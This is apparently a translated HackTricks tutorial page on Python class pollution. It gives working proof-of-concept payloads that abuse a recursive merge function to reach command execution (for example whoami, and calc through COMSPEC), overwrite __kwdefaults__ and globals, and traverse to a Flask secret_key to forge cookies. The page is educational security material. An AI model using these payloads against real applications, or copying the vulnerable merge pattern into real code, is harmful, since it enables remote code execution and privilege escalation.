类污染（Python 的原型污染）

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基本示例

检查如何通过字符串污染对象的类：

python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

基本漏洞示例

python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Gadget Examples

创建类属性默认值以实现RCE（子进程）
python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}

recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"

# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
通过 globals 污染其他类和全局变量
python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
任意子进程执行
python
import subprocess, json

class Employee:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
覆盖 __kwdefaults__

__kwdefaults__ 是所有函数的一个特殊属性，基于 Python documentation，它是“任何 仅限关键字 参数的默认值的映射”。污染此属性使我们能够控制函数的仅限关键字参数的默认值，这些参数是在 * 或 *args 之后的函数参数。

python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
跨文件覆盖 Flask 秘密

因此，如果您可以对在网络的主 Python 文件中定义的对象进行类污染，但其类在与主文件不同的文件中定义。因为为了在之前的有效载荷中访问 __globals__，您需要访问对象的类或类的方法，您将能够访问该文件中的全局变量，但无法访问主文件中的全局变量。
因此，您将无法访问定义了主页面中秘密密钥的 Flask 应用全局对象：

python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

在这种情况下，您需要一个小工具来遍历文件，以便访问全局对象 app.secret_key，以更改 Flask 秘钥并能够 提升权限 知道这个密钥。

像这样的有效载荷 来自这篇文章:

python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

使用此有效载荷来更改 app.secret_key（您应用中的名称可能不同），以便能够签署新的和更具特权的 flask cookies。

还请查看以下页面以获取更多只读小工具：

Python Internal Read Gadgets

参考

tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE)

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